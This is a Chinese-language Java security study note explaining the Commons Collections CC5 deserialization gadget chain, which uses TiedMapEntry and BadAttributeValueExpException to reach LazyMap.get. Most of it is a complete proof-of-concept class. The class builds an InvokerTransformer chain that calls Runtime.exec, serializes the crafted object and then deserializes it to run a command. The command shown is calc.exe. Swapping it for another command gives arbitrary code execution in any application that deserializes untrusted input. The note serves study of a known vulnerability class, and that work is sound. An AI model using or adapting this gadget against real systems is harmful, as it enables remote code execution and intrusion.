Java安全学习笔记--反序列化漏洞利用链CC5链_java cc5

测试环境

jdk1.8(jdk8u71)

Commons Collections4.0

在jdk1.8的时候Annotationinvocation的readObject方法被改写，cc1链就不适用了，cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。 CC1LazyMap链

利用链核心

    Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);

TiedMapEntry类

toString()方法

 public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

getValue()方法

 public V getValue() {
        return this.map.get(this.key);
    }

hashCode()方法

   public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

 构造方法

   public TiedMapEntry(Map<K, V> map, K key) {
        this.map = map;
        this.key = key;
    }

toString会触发getValue，getValue又会触发get函数，而通过构造函数可以将LazyMap赋值给this.map,这里还有另外一个方法hashCode方法也可以触发getValue这是cc6链中的后面再说。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
 
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

接下来就是在BadAttributeExpValueException的readObject方法中触发toString，这里valObj是可控的，我们可以通过反射将TiedMapEntry传入。

编写POC

import com.sun.xml.internal.messaging.saaj.soap.ver1_1.FaultElement1_1Impl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
 
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
 
public class CC5Poc {
    public static void main(String[] args) throws  Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);
        Map lazyMap=LazyMap.lazyMap(new HashMap(),chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"asd");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("asd");
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);
        //反射赋值
 
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();
        //序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}